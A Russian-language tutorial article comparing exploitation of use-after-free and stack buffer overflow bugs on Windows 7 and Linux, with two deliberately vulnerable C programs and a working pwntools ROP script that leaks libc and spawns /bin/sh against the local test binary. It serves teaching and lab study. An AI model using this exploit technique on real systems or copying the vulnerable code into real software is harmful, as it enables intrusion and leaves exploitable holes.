Каждый, кто начинает изучать уязвимости программного обеспечения и их эксплуатацию, рано или поздно начинает задаваться вопросами: откуда берутся методики написания эксплойтов? Почему современное ПО содержит уязвимости? Насколько операционные системы с точки зрения проведения атак на ПО отличаются друг от друга? В данной статье будет рассмотрен подход к исследованию уязвимого ПО на различных операционных системах: какие есть особенности, какую систему лучше выбрать в качестве тестовой и какие выводы можно сделать.
Почему существуют уязвимости и атаки
Атака — это процесс, нарушающий установленный в системе порядок. В контексте программного обеспечения такое воздействие может быть эквивалентно созданию состояния неопределенности: в этом случае состояние структур, используемых для работы программного обеспечения, может стать нестабильным. Атаки могут иметь серьезные последствия: от сбоя до потери пользовательских данных, поэтому изучение корней проблемы актуально сегодня. Чтобы понять, почему в приложении обнаруживаются уязвимости ПО, обратимся к основному «родителю» любого программного обеспечения — языку программирования. Объектом нашего исследования будет язык программирования C: многие части популярных операционных систем до сих пор пишутся с его использованием или из его эволюционной версии C ++.
Язык программирования C — это, по сути, набор команд, которые позволяют операционной системе взаимодействовать с устройствами и, таким образом, раскрывать их функциональность в полной мере. Для использования языка программирования в большом количестве систем необходимо, чтобы все его команды и результаты их выполнения всегда имели предсказуемые значения. Единственный способ добиться этого — создать стандарт, описывающий каждую конструкцию и команду языка программирования. За время существования языка программирования C было создано 6 версий стандарта (C89, C90, C95, C99, C11, C18).
В стандартах мы находим концепцию неопределенного поведения, используемую в разделах, посвященных переносу программного обеспечения на различные архитектуры. Термин неопределенное поведение обозначает любую ошибку или непонятную ситуацию, результаты которой невозможно предсказать заранее.
В контексте ПО, написанного на С, в большинстве случаев это проблемы с памятью, работой с системами ввода/вывода, синхронизацией доступа к ресурсам информационной системы. Неопределенное поведение может случится по причине следующих ошибок при написании софта:
-
Race Condition
-
Integer Overflow
-
Buffer Overflow
-
….
Здесь вы можете найти полный список наиболее частых проблем. Именно из-за них возможны атаки на программное обеспечение, поскольку каждая из них так или иначе может рассматриваться как уязвимость, подлежащая дальнейшей эксплуатации в своих целях.
Противодействие атакам
Проблемы безопасной разработки программного обеспечения известны и описаны давно, поэтому при изучении языка программирования для написания приложений используются наборы «хороших» правил кода. Быстрый поиск в Интернете может дать многие из этих рекомендаций.
Однако сегодня при всей сложности проектов кодирования и даже при использовании всех правил безопасности возникают ошибки, которые приводят к образованию «ахиллесовой пяты» программного обеспечения. Для сохранения приложений и операционной системы в этом случае используются технологии защиты, которые интегрированы на уровне ОС.
Количество и сложность механизмов защиты от программных атак в разных операционных системах различаются. Например, разработчики операционной системы Linux считают, что для операционной системы важнее функциональность, чем защита. Напротив, можно назвать операционную систему Windows, которая разрабатывает технологии защиты в виде стека на уровне операционной системы. Насколько эффективны механизмы? Это тема для отдельной статьи. В защиту операционной системы Linux можно сказать, что были предприняты попытки сделать ее более безопасной с точки зрения разработки программного обеспечения, но что-то пошло не так, и теперь исправления безопасности продаются как отдельный проект.
Портирование атаки
Представим себе сценарий — мы хотим изучить подход к эксплуатации уязвимостей Stack Buffer Overflow и UAF. С чего можно начать изучение? План изучения:
-
Найти описание особенности уязвимости;
-
Найти или создать уязвимое приложение;
-
Попытаться создать эксплойт, если не получилось эксплуатировать уязвимость — выяснить, какие механизмы защиты применены в ОС и попытаться их обойти (ведь именно они могут защищать приложение от эксплуатации его погрешностей).
В качестве тестовых будем использовать Windows 7 x86 и Kali Linux.
Особенности уязвимости: UAF
Описание уязвимости можно найти на ресурсе. Если вкратце, то данный тип уязвимостей связан с использованием объекта после его освобождения. Следовательно, атака должна создать на месте освобождаемого объекта тот, который позволит выполнить произвольный код. Графическое представление уязвимости ниже.
В качестве упражнения попробуйте найти пример уязвимого приложения для ОС Windows (любой версии), которое будет содержать UAF. Также подобных приложений много для ОС Linux. Попробуем адаптировать одно из таких приложений: чтобы оно было скомпилировано и для Windows, и для Linux, а также уязвимость воспроизводилась на обоих системах.
Уязвимое приложение: UAF
В качестве подопытного будем использовать следующее приложение:
#include <malloc.h>
#include <stdio.h>
typedef struct UAFME {
void (*vulnfunc)();
} UAFME;
void first(){
printf(“It is First\n");
}
void second(){
printf(“It is second\n");
}
int main(int argc, const char * argv[]){
UAFME *malloc1 = malloc(sizeof(UAFME)); //Allocate struct
malloc1->vulnfunc = first;
printf("[i] first at %p\n", first);
printf("[i] second at %p\n", second);
printf("[i] Calling malloc1's vulnfunc: \n");
malloc1->vulnfunc();
free(malloc1);//error here
long *malloc2 = malloc(0);
*malloc2 = (long)second;
malloc1->vulnfunc();//trigger UAF
}
Скомпилируем код под Windows и Linux:
Запуск на Linux:
апуск на Windows:
Поведение ОС: UAF
Уязвимость UAF в операционной системе очень сложно отследить, и для каждого отдельного случая следует писать специальные меры противодействия. Сам класс уязвимостей работает на основе доступа к данным, поэтому реализация защиты обычно представляет собой проверку целостности структур, важных для процесса. В нашем случае приложение не имеет доступа к этим структурам, поэтому никакой механизм защиты Windows и Linux не приведет к аварийному завершению работы приложения: процесс продолжит работу, что является проблемой безопасности и может быть использовано. Исходный пример самодостаточен и показывает, что эти уязвимости чаще всего используются из-за функциональности приложения. Что касается различий в реализации операционных систем, как указано выше, операционная система больше не важна, если ошибка заключается в неосторожных действиях самого приложения с памятью.
Особенности уязвимости: Stack Buffer Overflow
Уязвимость, которая имеет наибольшую популярность на сегодняшний день. Механизм работы Stack Buffer Overflow заключается в следующем. Данные, помещенные на стек, перетираются другими данными, заполняемыми в объекте, в котором не верно проверяется их размер. Картинка взята отсюда.
Уязвимое приложение: Stack Buffer Overflow
В качестве тестового будем использовать следующее приложение:
#include <stdio.h>
#include <unistd.h>
void vuln(){
char buf[50];
read(0, buf, 256);
}
void main(){
write(1,”Hello Overflow\n",10);
vuln();
}
Скомпилируем приложение для Linux и для Windows:
В полученные файлы для защиты от атак добавляются специальные данные о механизмах защиты.Они помогают операционной системе противодействовать атакам. В ОС Linux посмотреть эти данные можно через специальную утилиту checksec
.
Полный список технологий защит, которые были получены через вывод инструмента checksec
, можно найти тут.
Для операционной системы Windows такой список просто утилитой получить не удастся. Вместо этого необходимо запустить приложение в ОС. А потом просмотреть установленные механизмы защиты для работающего процесса. Сделать это можно например утилитой EMET. Полученный вывод для нашего приложения:
Даже не разбираясь, какой механизм от какой атаки защищает, список достаточно внушительный.
Эксплойт для уязвимого приложения: Stack Buffer Overflow
Самый простой тип уязвимости с точки зрения написания эксплойта. Проанализировав все механизмы защиты, которые задействованы в Linux, становится ясно, что единственный механизм — “NX Bit”. По всем описаниям в сети обойти данный механизма можно с помощью ROP. Для написания эксплойта будем использовать автоматизацию — pwntools для Python. Тогда скрипт для атаки на операционной системе Linux может иметь такой вид:
from pwn import *
from struct import *
binsh = "/bin/sh"
stdin = 0
stdout = 1
read_plt = 0x8048300
read_got = 0x804a00c
write_plt = 0x8048320
write_got = 0x804a014
#32bit OS - /lib/i386-linux-gnu/libc-2.23.so
read_system_offset = 0x9ad60
#64bit OS - /lib32/libc-2.23.so
#read_system_offset = 0x99a10
writableArea = 0x0804a020
pppr = 0x80484e9
payload = "A"*62
#read(0,writableArea,len(str(binsh)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(writableArea)
payload += p32(len(str(binsh)))
#write(1,read_got,len(str(read_got)))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(stdout)
payload += p32(read_got)
payload += p32(4)
#read(0,read_got,len(str(read_got)))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(stdin)
payload += p32(read_got)
payload += p32(len(str(read_got)))
#system(writableArea)
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(writableArea)
r = process('./test2')
r.recvn(10)
r.send(payload + '\n')
r.send(binsh)
read = u32(r.recvn(4,timeout=1))
system_addr = read - read_system_offset
r.send(p32(system_addr))
r.interactive()
Эксплойт под Windows c применением ROP не дал результатов. Вывод его работы можно увидеть ниже.
Необходимо проводить дальнейший ресерч обходов защит системы. Против эксплойта сработали следующие механизмы защиты: SimExecFlow, DEP, SEHOP.
Вывод
Как видите, подходы к обеспечению безопасной работы приложений в операционных системах Linux и Windows различны. В случае Linux можно было использовать присущую приложению уязвимость. А Windows вовремя остановила приложение. Исследователи системной безопасности должны помнить об этом. Так что новичку следует использовать Linux в качестве отправной точки для тестирования уязвимых приложений. И искать в Windows лучшие методы обхода защиты операционной системы.
1 comments On Уязвимости ПО на различных ОС
Когда проектировались ОС, internet в них изначально закладывались возможности взлома. Это лично моё мнение.